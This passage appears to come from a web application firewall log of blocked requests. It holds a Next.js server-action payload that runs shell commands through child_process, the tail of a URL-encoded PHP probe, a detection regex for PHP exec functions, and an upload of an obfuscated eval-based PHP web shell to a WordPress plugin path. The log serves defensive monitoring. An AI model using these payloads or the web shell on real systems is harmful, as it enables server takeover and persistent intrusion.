%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-14 07:04:36","16.184.21.249","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-length:748\ncontent-type:multipart\/form-data; boundary=--------WebKitFormBoundary69092a5b21754f4a\nnext-action:x\nx-nextjs-request-id:498a329c\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36\nhost:47.254.126.238\n\n----------WebKitFormBoundary69092a5b21754f4a\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}\r\n----------WebKitFormBoundary69092a5b21754f4a\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n----------WebKitFormBoundary69092a5b21754f4a\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n----------WebKitFormBoundary69092a5b21754f4a--"]
["2026-04-14 07:04:36","16.184.21.249","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\ncontent-length:860\ncontent-type:multipart\/form-data; boundary=--------WebKitFormBoundaryf129cd5bac0a43a8\nnext-action:x\nx-nextjs-request-id:498a329c\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/131.0.0.0 Safari\/537.36\nhost:47.254.126.238\n\n----------WebKitFormBoundaryf129cd5bac0a43a8\r\nContent-Disposition: form-data; name=\"1_$ACTION_ID_vercel\"\r\n\r\n\"\"\r\n----------WebKitFormBoundaryf129cd5bac0a43a8\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}\r\n----------WebKitFormBoundaryf129cd5bac0a43a8\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n----------WebKitFormBoundaryf129cd5bac0a43a8\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n----------WebKitFormBoundaryf129cd5bac0a43a8--"]
["2026-04-14 09:07:58","74.208.137.156","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\ncontent-length:20152\nhost:dewenlabels.com\ncontent-type:multipart\/form-data; boundary=d488cd754c58fa6de024a21d5f63f1e4\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\n\n--d488cd754c58fa6de024a21d5f63f1e4\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--d488cd754c58fa6de024a21d5f63f1e4\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--d488cd754c58fa6de024a21d5f63f1e4\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--d488cd754c58fa6de024a21d5f63f1e4\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--d488cd754c58fa6de024a21d5f63f1e4\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--d488cd754c58fa6de024a21d5f63f1e4\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovapyiszf.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php $DesQW = 'base'.'64'.'_'.'decode'; $LNuWx = 'gzinflat'.'e'; $sJhXG = 'st'.'r'.'_rot'.'13'; $Shgrt = 's'.'trrev'; echo '<br>        '; \/***  ecf18c7da6efc3961853a42ff883eaa9e74fb0c2         **\/ ini_set('error_log', NULL); error_reporting(0); ini_set('display_errors', 0); eval($Shgrt($sJhXG($LNuWx($DesQW('rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf\/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un\/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy\/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2\/k6cLDxGlvpPVPy\/tfcP9zH4SGRm7mDoYWzjy6HP\/WO9+\/oHl02f\/N+V91fHk4OIXkvGT1Sf9J6D+UZPu\/ZTR0s2e2dnKlpDI3dKOk\/RvByvg\/iP3fo\/4JTPm3W3sLM75\/2v+owPL\/nO5N9S\/PPzT+lwa+vjx\/Ecz+2YgvD\/M\/SvDRuP3t0oGUj\/4fXm8nM0+nf9j\/aVIx8vG5kVI6u\/FQ2ZHS6jL\/Oy0PBztjPoe\/tP\/TR+tGSvuX0l+i\/6Jm9xfGkJT3L4yTp5urFQ\/jX0QeXaZ\/0\/wfFXmo\/plt6OT595bP8G\/2vx79pwT\/6sn7r1T\/nY2ZuZmbtZP+PwOI\/jKH+Q9FOekIae3+gx4FEJDKY6oz5RPo9x7TEIxzmHJQF5EAQlPBdb\/ACml28yNWVAupROytgxHBLW5lmRtN9QObEYxJBjMuT+fYmwki3MIXbntmPwOX4DmKkmZaKxrwKd+LALK3lEDxn3PsMm8yvXXiX1RdPKQPsQTekOBhGfnVwjCqiZJfKl6rpwKYyuK1XGWfkrYW4g2DAtLKtSshZXDibqlqOysE5klrY2Rga3iTyd5Riyw\/lH7Jy3PKmUyU6DKa3eQrHgtwFFS\/JPpWUgCK5LQLxyL064JvM96+k\/SHN0z6rMV6lcSznEbqyoIjnikbF3XTN7tV1m1q7GMOmEssB7ovA8oZ4wNiCCaWrh0cklvESic4dHJTmMNLjXZEBZfyTgu2+N9TRuJ9HEXoqdZ+HVJ6U0VP\/GQUoMc2s5PdYKUt0M+gAKTuIFhcZyEgkKG0oqflzadOXPYgWfXGTT+o0L08GcuZxKCP8SEdkpXbDNeb4GWQiu+pNXfiW3ecKPqqHB2WLOO7bPK2Ma1HtnyoE585HCjGxHYJW0TAJ29cM+s+bgihob4tCA1bL9raEY8i4E\/u7jo33yLbHvbfxBoQ1b6FxE8DAONGAofCEMi1sk\/PZ41E643oqZnPQ83i7m6GXYnaZx+Fxs+YjWQocaT8yGTShFEHBrpBdyUNFkLBZr2euK8NTsjss1Igq7jO3ECQkC1v946w\/H04ZDV4RB+4fx7Xno+r+2Xuzdl+92HRBudMPHdyT+iX7JWnDUrrC4DO7BDz48ZWlmyhqEoNQ5tCJ5t04ELkiTgf8JQkSjoLWshgHZK\/jVeXil3DfhFZmMgAABjAuzqv7GQByTID8G7CW5wwhBlwcGPM4jNJb9YIC\/pJQF\/1GjGkEfwfdmkM832JvyBUKj4bboY2yiTXjcPc1dI0a5xZGfOWRd2cIKqibSUMsCUT8L3ZLHqI9hjol5xP3QLGNUDxH93Z8hHO5NJ+Aa\/+zpKH4+ShQlQgKdN9XTXp6AOaUpBcVGuZgSNnscpmW1eSZYVI9Qv0N92Gh7wk0PAK+iV5jHpsLMmyLqmmnhCXxeFoIe3sVOF2MbVBoqT4imB3T3t7+aEo3vwKnVGN3HXe1Lo18EAZjk8whgM8cA0AqHktJhS4L7mmH1QUbcVI9vbE0nTDUD2gMgPZthRM8XX1FqnEBZ7zW305kT97szpZSb4NlvzkVjMtH+h02Sn2UZw72vuifZ7CCIBsTlgg7\/IJqMHZE2nsQlV4pcIvgzzg6vYV1atYwnKx5kRdAz+lakrbqdanev+d8LZHxyGTSJWhiDgBxPGzC+XNucP6Vm85VyEOhcfE8xJqf72+7fa0OXyqJDGk2ty+yMQK\/XNwGQAA2p5whdHiicFI7YyEqCj\/MO7wiOZyFYVoOLtks3d8jRYqsfEOqxdqj44oZO7FJBr5iAlSbtwFcRItkektGMS9JDnNsgydnE2XhHJ00+EBBY\/+wxAOCllx0kTL3in3A4X+QIeu0w8ubcPiwrM26TP\/trOiYGnMX5FL9HenlNgePZZCTeRUw9hFWYWeia5LUxqVgwSsgR4OS85DtJnRYUkXBUCx5pittdZmS\/oCxUHH6dytA2xTuoFxaCATwfZ3DIy88s5I9vpPr7d5MZzCxAalFVS36Pw\/QOMD5dwrTjT0ryqSnON8Niv8xa7QT\/jqcvSSiN1tRVkIO4jIPTdFPTsjNPeRZbp+\/BUaD1s\/euxC2ojtSxgLIx0ynGKqLWqa2TGuj7ilsLbLq7Wbf4UV4Pe2YgqnBQaotophVz8lDdIKRtiQlCeK0KPfrwqQcJmVPIzOpNF2ffzpXx0pZnuZLrWbO2l+6KjT3BUcyALqW2vCgn4r+15nb5RrDXhsSCK7ajX81cMXiZXA47tQPUHbx8JqtUxdfchyg8st9UZ1RjqSBgAkBf0gqO\/EnxmnT63QNlsrV\/G7M7cNyHUjbRrLlxRK4R4lsijfKKTqhJ\/W0QIGguIUGpHUVo30bsCbVMvTFh0LLLWxmg1hqhkIz0Neto7hRH+R3nJrfElOSV956os2vMe18L6R5FD1uSOwumbTItYIlDLujR+D4PyU45t4tbPOCLsyOwJjYzmB88aCTNSXwEo+L6KfMoAKQi4r6ZKz2Q8O7n19\/+RjVCIlmqcV4H7XewT7cTCXWRtXuiIM8qnO70+Q7Dti7o\/IMDPMPT8EAFRDpisFOTe\/d+kRk493v9ZO8Wagh82FJ2AAOSE+44lTw6W\/hZJDO5GbPQuqcKgWNra4MYWYyQTpHBrpw1azPhmCW5vd6jSIus4nXPCs1SjNEpb5wWUQLi\/4hArHRoJemgWKbjHVOdXzT2AVgMWqaaOgpcDXHgmAPI+QHA\/RRz6pBxKsUzb6ZqmGG75pAjvhcRYckXmo+6INE9j54KxnYAyzcyQR\/OCzJrqOt\/mhxCwK2UkBuABC4h730dL3wh1\/9\/eRR2RQIoLh3N9lEn9qKNlT+PHjBv1PGSoHowz\/TqCcuTKyjetFP5ezHCgm8S3GFQkAULYKvLygYySwwfUgVsOPrXBYKu9B7RuRWyzGYoFT4mseV0p135uadUIwonqOBgz7qmqIIzfcfwvHwbuDx9BnMTO1Jo+B+jVnuGGLbCVqAL7XEJ5XeR\/ThqflqZHbsoJ9QgEQYIjGjhZUTWMGceokOWbOarsGxnNlZK3FaAVfE1CdVeq7d\/c1Eut4YyCK\/xl+tedJ+1AktDfpRvMpVgZ8DicYYCOZThZ9syEq6xIz5Xsx6r7QkouE9\/Gr2ytn1rY5YugbI0xPPmdT9pW\/xupoQh+Skb7mhnM+ur+I+rgt83S+\/fLuXb3op4RuTS9bpvOeIqtzF5Relfhb97b\/uYctSzsfezF5M60SWFco6PF1UpUJ1bX7eg1yyljCwi9RVBuoc5uhHz57xoVsiz2TjkDul+der7937Y5ns7datq5LH7pW0neVLrUx6NUq9efpP2v1IW8FlMEg02hBYnfcnJLnG6ODhc+e\/FaiWnniVqwb70+RQXETdUhxW+QyR0x1FDTrcThg7621PhipquABALk0WYHp8Q\/H+8M8NqsAg2yUDlZ02REHItYi9DpfCS2S45dCTLog66ncgZtnvxXNu5BxVj0wemGzo5ccbo99DZ+9Ck63ou1AXwH2bEH0\/VzOJTr3pIYCVFZpNyyzF+B40hUtlTjx07rHAiHl1kkaV7o6cHwRc00M+J3kjKliFHJBGKOREV0L\/HWwwaeoVJ\/CKkh4URgAIGueEqKLcTsjD8iwn\/EuAIL6etp\/nspC69pi5tfJSDyllTOpAzQWMQTWqgbKGJ\/5PXrq\/pNwSZDX3bwzHsc95TVIH6tvW+Dx44\/hSRZRAbmuPX6sbOMakbOAc2a1BJXwCjZ7XkzfHrMwa664vMQlY6k3KONr0i\/CAd2buLnKey4ocKADXx\/sldSSQx5fdYLHegoAqGxQT+7WcxKmCCjdOYwRYlLW1rhmTW1XfrzO73nRERTIiWfxFz2IAgBgwXAso7IcM11Tme7bccA+1GZq84D+AsKZuEWFP2TNsiOPczOLanMuex92Bmc0vfSexorWYtc7JFc6FO\/qAwDQfGFbDXMoVsWH\/atDJbPvWFVHwcA+KtUUR\/VjuH2aetVaHvA1VDOVj8mngyfp4kWMdaffULD0okWESB+HCtfMHkHP2TQFwOuZiNaqtJkwu8zJPkVhOIKVAoDxie6jUHjuBwDckZPPQHbHN8ns+mTB3be2F27UV2AZxDQOoRMafPbPeZlFhfsGMU5t0\/rh3cj0qtz2I6o9UQCa2FgR4CcKrIJub+Xr5NFwKvdWL15BdRs1xb5S2tr0bXMkcZcyz2z\/mJSO+qYni3X6c5sAOTKG9hUvW651Do+UhN+pf1aTiI8qIBXcT23H\/5b73jwatHRO\/c6YmKiifE74YcNNpH54rC5qVodtNE43Xe0XqjgqbJpPI75qj2EIALCyQwSw\/QY+O44oY2ZwpwskT2tKCoi9OKoINHhCwpSB8mRyrhXy7g3guNsJO5\/b68SkhOAJC4zMhenCRr5ksDb\/PZjcvcHmPupJyGfhetbd\/rtvlhUR1MbxcRMAKCo28CBrZApbs8YgRskMFJU74c3U2Ix9+xm5la5OvVcVAe6zmiKUBiZlkY1mu28OAa5QN5903WdlUzJ8Kx7UZ0bufP7UWOVSbjjJdFW78NJpBboxg6bj6crsTekI6xhbLxSEflN6IHqPavV0hiwojRduuAIs8ssyweOdQ1grpDwaL5eHumX7fFQDkhOMp7eCtZAswLc\/RmKQkpnJV0xWBGhcdXBdoRlRxqTmjDOf3YK8N9+4mWeJTgTiK4yg3Oubxq0CDQF8qkDQx++tLeFw2aC8dUSIxEUG7Dp3pIxgUagZE3ih+uPH\/Tc8j3UTzpmBin9uUHwrIUeP8x8lzJCHIbUzoI6ox530958cpwBAiHLKoEcxMTLDfDwpsLqr336VzNLsPrDuZNZ2JrqiIC66xN63ZkZKQnBWhefxUYQ7zJfUAmORHqhRwMmDkvnUtHd25BqQXFx5cWnYAvkMANDFMD1KTy2Y8\/QuzjpBqtrj9YEZ0oi67WkIBOaO\/g4XFwvydP7a2vQmdK6JdIarnyZ9p6bFubhNPPiTM6VvTodIHHVYZFmjbP1aUMovcP83yvrM8vHjnCoqwfEz3EPzEo5LaLGWcQWkDjpNTpNddugixp9vlT2MKQfM1YbRBFu5YAs\/iXb8uHSmYL1k6rJR5eMCwxuwLebtjhoDSmY7P9mtx6nU6vqzxPDLkxOkZlrX207oBipJU224QWwXWf8Rh9q87BivHnlXOaxfa7qon9xtCyCqoG70P1Ra0sa84qR6nnEebA3Wz8wTNS6rjPN+3P7elSl8aFAlrovnDL9lRHhG8rfvgOnbQLkGsvX1dnpnjUphRRg21rH8kTPZKeOMOIJu04s2q3yICqa1rOQheH0ZBZS3XqPzJKMq0R3TD3aR8k4Wwg9E+1UYZki48HlgpDJUNhMqT5ti8j7Iw9aksoliC\/Ykw+udzoy2VV\/URvlGtyILRkD1qFfARYbXJegNg3T2dVJkck8BsJhIbIw3z4Lmfh\/7SG+EoJMTICLR2H0dUq5rF2DqCaTqUbeE9QKvYEpUgOZzOU7WiCipJOv7dFV2EmIG7gmmG2xMr35vu1CLO0QDjg1Nd1U4iaXxZ28AjQg1+eHA\/JFp8Tx3Aq5UTahglQbDMbgWzL94Yq1+PBuDmQOGhVoc37ZYZXVP6qmm4zPRXGHJcQqjJy5XNopWMsdwtjaqa1lNv0SnLElkh+rS0RBUJPhMmlXrSsMSARH6lUvpD\/\/WtBru13dfwNgFw1uNY\/miPBJF5ztcq4AAAPRjAwCBXxoGHROKcdy9qrg8IXIzBjZc6qbcd2Lm+K5\/SHNYnRBlTJvDR7cgww7sTB1mwWAveiFz61VRIBu6FtZIfqDJ3YJePw99MQWQTB1CMYRR5SCJc76t+MLWvKYAHYfuXg\/z21yhM0FvxC3lGpqhkJ72HaOwlfcZIFaBSxWIv7sx4sJd+walzCBcdNcuEZj3ElOjYhxhRCG2UinHbM8IHCzjftOo3KxXk1DnwnmePCUqt2+65k3xdZMOH1IV79Fpoeli09Jc+6Mc64iRi0iyZoHF72B3BzYhgYqyJ\/t2ygrT0A0tS4HDqkP8\/QxFUoqby+PW5+NezcJJAo2n8aJ4\/FjAuGNUV+\/TmB2b71peWmuBflRShQUiVsvcas5us9Abi68m49tlgoj6m23zRw8tc2+gmcsfrK987mnlN96cg1FQwujJDoZUYMB+KbSEPEcsNN3dsNvDm3MF8YMcbQwDYct1JfBSzqOaKOhBvePy8gd17LNzxjofeQX5ylGHohH1D3UkHTi90cRy0F+s3OpiG2k+Z1myTsrqqAAAoUmjIm4q\/qTeR+dDvRoGkhDndJEyy0e6iDDz2SQBF7D+JC9QkDCbKMe2tO5vKcud6l9s6+GeLaU9pFoC7hsgrByg0w1+dPl90bQAgEAHEpItp2MYBB+mulV\/M7FysaKEOOIl5eIyvw8vOZjVAyyST+jU5rtp1P0vdGc+\/hD3aDrK31hekc5M7CGX6mpNSBcDwXsulftE4ZmOyPB+OQ8ksGNrBs1ukFA1Dza2QDGzeDvMtLuUiVAV5QpkP1kUdMQ\/6KHc\/EguHzfPhokBACk8\/IxL19K6eWQtXZFRxL7FlrQVmALad0uHEzUS3VPuywZ5IVD1A7dIJ0MwL+zSbqVbUWAg3D4t9uiuKrpWhh9KPdRfkJjWfmgkQB33nhBdxUsqAuE8t+FE\/D8PUH42vfjAN6HDK1+EUwDmnq9ezjO7IjA45\/\/OQtZN5zRkozYKJpgss0fR47MsHvSd5snvpXamRQAAtqpn+ELmB4yr\/1GkQk6OwOwxrX3w9thAXlftNl5k\/a0SBaAiURzd\/zSgwHFNBzPcY21ipXgxTjpkT5RJyQZ95I2Zl4zhbSjLsEFIo0Jfm9FWONPH8amf\/C6Ed8w1IRinY\/nAan37UAWfZAYug26nZ43hrCA48OVlrgMOnW4BdOjdmSzjW0mI9uHYdFlONvWJPXJJ3r2l7P1Q1gSlnV\/p3VtfcsaZzNs+jepeaRpkqsJUAXwqiHenzqSjgHkVzYdwr8Q8ffaAUDuyiph7nBpPDufjAP0Wp4INMv18xJpE+ueWEzh8YxqQ\/RM6TBTCbanC9VnAe0FcQWIXw3s1ZQ90SQllVEr7q9dhnwnqEAtnoLm8Sp5mQmBUl\/uBP+a3rBUsZlh09R1Jo12joUpf0IprBc1+qcnM49khnMzbAkwzJIpk734Ob+yNORoLZbuyO9qNmtjzbaAoL+dYIJu4yn6Xo2HAjxEonfSmTebfTx3BiBk4XH\/Hp9xEDu9H2eCsrDN9OteCn34wEWcvohqebRi6FABZN4k07j3KDacP3iLeeUMR70jbKy+Q42vDbEXxV9H+Kb9l4QtmyxeWHLE+MKjhd2swYubcP0hQ6nz7HYgkrmxhSx9G1ZmWMTZGRLCDvpyu6zWL0X6jkd44cpGeoU+lR+tzvoUabsIDbXVQYd5pt6k2U4kXCUi9x32MBa9uuVduyl2ehQBAkCzCBszGTlhTsX27+EfdfKanXqy5R79AzylB43ojkpZI9jva5e3K5bOzQwr\/cvtAVceALwTPV+W181pYZBQlln6ycC7d2\/FkO420OFtqVDOQ6DAb4wva2JH05GoJWA73q+ju6qGXU7HIfi8vh2dECxDXSHlAnBEaYy7XJADwZDdObxpc\/9oOv6VgS2o7IfPKv4eGhQpGsuz2RlNd3k4DmyDAJJrqwTxS9kqVKGo8etVdxRjiJQRMplAuur6Yp3qFioNpEYFHnqfKcmXSamkmD7wNFd017OXwtapmvcCvzFhWa2CDB6s4QOnbEzKdzh3CepmFq6o1UEEH508sXH0iMvJChoiIsrgCpEVWzWBiBBLRP\/bWx8toXluOlCl9tC0ZB5qO2wIb39jPNFDBk24RZXFb6jN+9YO+kTICiPj6+MYwrcKldMVF3SryCOESmgIQR1ZUz69cPzevOVhtsbPYNNKNAtkWvS2Qs2CtA4KsNqJK32nrmTtm1t5aAh3eia23LAt8zOm6rbN+I4QeE9oS+9nryGA96GeQX7Gz15EIgfZ40yseKTn9pstDIMSw1ogyML2F\/DRPKeUzSWeH5Hw+0y5ZfkrcD5LN8PNrMe0EszzQuN3IGChufwAK\/nohalw3cySJQze7qJsRJY8FoxQVWrEpp2rLYMMANb5FBCOoDAAQcW3U8unx6tGXL6TFORhLg4PjeJI61bE5bZILJFmObUtwi0v05glvpAAIubtLmb02\/\/balNiSHr63HSE\/oH9nbAlvXIEaDQh6sJSL\/A1n7Oc1qHtO25X1\/DQ6WUXdrNgwHymxEdIemku7LmVYGDutQ0ZQt1qy1ia4dm3AxBYHAFwzMV5aO49TUQBy4vKjJy3Xf2WvYbVhLPcHp\/ZJUQBMd0w+wqycJYKL3vtWht1TLygAftJQv+eU4amReIoScnVTJx1b+XegoXp0uVsVopOKP4QUUjbeWF\/CeBpXy9yRmbJZ0AlM7t1aEqP10HN\/MDA9+3Mr9E\/gPkuINA4qj1qIH47XjcnUmDN29qOFfSkWiodDzThkWgt669PET2hbUvI0TadUnuMNLlzKvEIY9Lj4iKxUa4UAAFE2iBNnY8VTz1CDURV6qp9U09kGTssbdY7cSsMLxO2a+zlXwu2saMp6ilVZNLY7WujsSQLJLUnhcEgmJvZv7isOlRQAdXgjpJ7tJWcm5sCh6ZU0emKRm+WMx6yCtP4wqmpZhVnIAqmCBNyfLinZsk60t2sB1JpVPGuPO3OJecvK7irm0ohMNYHdu3A4JZ7h7llmEnIk82olaJDi89rVgw4eD3\/q1kVkIwIamglKmXYXQVcE5P+EsUCSYhvHXoREP+rgOQRbTyJyisarJ+eVik889SGPdzwT2n5OfRkExHvCqV1tawGHN38BufrWEzEQAsFEZh2U17HCz7VqO5u39McoLif82W9TSaA9zEcPEeNYz+tqA0bMiH6MhVyNYefMWbqHrmdK7zi81BbFTazKT4so66vNTuAHjxUBFnKgdStSTfx1zWN1uAVicAt2l\/ptb1MsYykEXJsHzQO7Ucn04Gy1RvbEBb2PzXV6GYpWZCLy2RWSK9czbYJdWp27f0A0ZKbeDUFpEhC5fCEn6AM8dSsjDcep4YT4B37rrZIOwXsdenD9uc1zFYdBbWP2qR3onu2BEXkhbxDFG4iZjGRV57mv0dU9+D3TslaEsfM5xwT8z5utKgNhsM9+5p0ZvV6OlKE3kn1RPZ0XL81L3C6rwzv2l\/BR02vjtudFhNSADvzSVR4l34rCjn0JrKH1qSR9ZgUXA8w8yMURWNz+7FRXZaJz8CzTx8OWgYp+v2RBPDHi4KbklGZBFTgCexVraF7toQePkk9BJE22YpT8AMYMae9id4Yii+6lrAdJTDhJtJfZYIRNdGIWgbV7qtpJd5Uf1cGg2PImPorb6yNpjfb4VUAIVJGiL+M4LNaTkipIKmYXHHpNyytxnD3Jm4lVtbECF4Q\/DvqLVWlH+kuQqShqG12eFepT8dqhfpqU+W1mJYze81hjcuO+DQOqlVLJRTFBcpkZCOwSZsLHrtPZGFLIw8PUp0I\/Lu5TkJXPXG+qlmoslNUhKe+6Jw1ht8qn7bchzaWJSbsJYpM81\/qm0RsT3MlJvhUHwlqmCiFHN2tO9cNqtAx9Xkcwh0jq+MVmSbCcU8Zk9zyLvoATObYdHF\/DgxJ\/eFyIz\/0JjOWs8unzK3rclrurt7FKgZvZtzd+ucodnp6aKn9GOYPwLpGDzmUX5ugF2UEprQC7adofUg\/lCS0A4BUnCH2wMM8FSZJO1pu\/\/kWKR9XCy9ObEAw3xMBez0y7RNe2OiDYxFg6tkSfHf+8tleh301ODIWpOXiArmKbfaiF35WhJYhJjyzxuzvgvWxhJstaS\/538EiesWoc\/rfpfrhUVZdXicVlZAIRMDRy7FC0m153LdmlsU82mxnKBBocVkbwFD4nWCWmUTbIH5aJWAWJvZGxYKk5vUhmEvb6qBolkOAqEy0g0n6rUQLX6WwWAGBXIKHAGKijuQxD3Ko\/TmE39Kfu5PYOfcQmh6PgndFC+0KP1BSLkHN9bBTxux26NSMEeBr4IC4AsGArUq4FPnN8eUNjxUIzWfD4JC+zPmEKdZy6Z66hBFGNZaOqmO+Fb7njWS40pGq5ABLoAxLhucR7AW2p686\/DwDU0kKny6YTh86B4Cff\/DzwmR4FqaQNWhNbRfgttnazCADAFFvNP2YEM3fgDZpoMW3qqxiQz6c\/KQZOZUCtSY9tqR9d3mjGVfDFT\/6CujuWYS3kT5KxTLuEQnTISndgUvtj7jPnGN9GSI\/UUejCn3UlX8XtqTD94HUpk1yaCQ06PqktPBufZ4xAA7y4kpidj2yqTRii8FXarkABeIrL57u5y4YOLCIIxQwmTNIbrI312gAmMQkrrNH07DVzli1fFlrydL88TWReazQCvcLIwD8+gGeLjf1B4FBveL8HnMvrtHFvGPRuRu1kXx5FerXita3KQSr+5jo1erQMNc+aoUOLns6uX0p3utnUIPWa+oFgUuhgD0v6MzEvpqzXtdD3GtP76KUY3cIr8VWl\/dgAnXTbiF9od7n6zTAlGQQbnsNmYWfQ0nVsmpm\/XYpFbf9sCaifpO1ri37HQt5yzfGn3uAvVM\/TUgpAehjcgGF+zJvK1P0FvrW9l7AqMIQlH147BSCldF2njl6E5ebEeuxTo6jtFjuPJu0SePj0+kQ94QuEY7izA9ofmxVnQeZlFjK9ggQElqDVOYxsEST\/hK5OIPq3MD8CHO\/WhQcY+UArA59on\/4psetKg\/OwmlfVcRMFoAjNi9xePjFfTSkyQshU057AhusIA79x9Pj52WY8Zn7FEQDYa9I8zvF+WDu+jTlOydFgw\/Xmqic8oCcBdXspH1zhCnM0pTqvLTuHieQ8kK9zPy6YRfQamhwFppmHlR9MPnKtdhnNE2mIHzo90dstZAeXAB\/DL2tmU7PHa9ey4jLtb\/dzytOCb85jxIBQcaFG2c5i4PThfaX81cuY8bInaaUF7VEKiyHjzuoRR\/aRso3cLCdAV2j5HgpTHf9rvWtu\/TzITTms4c0593eidMPiqSnk3+kzkmGMu6eA2iRtPO+4lP9YaVI4toOMmcP8aGOphonqpAZEP1n3d7t\/9yLmBvlyQTrdEsI2QlxXkWtCvSVSen9zs4aiWLilWkuiHHYYDTLRJptW\/rZg2\/GRYSddEZk2jJU4OABgqqxHv+eGt663NQXW3W4aThOxC0lQiiGITESnNyAxpZTtEWPRejRCz57HAMraGHd15R35OZsoSeOyNRZwsJs7vFSp4RGVF+xOAQjmhv77PpIKXfTUIriuILUy5A2DN9ykAGj57sXFTppILi10s2U57ZGXyXc2IcptzWNgKZb65hH+KbV4cqeJHm0e7djm37Z83AJnYOoEvUWKgTtwfy+TlWkJjVqOQ4zLW8h5WEW44674LWuceuiMUOeXORF9Le7Z5GtiNb95iQrkQR27E9T3bVAZqfHMZSZhWo0cTXlLuDoukRfi60YIfX1Uhu4Tt4yKvLRu8hBKmw4AMCm7O4iGdSPr9xI3Hi62K+2ytQikhqPv6W1jo2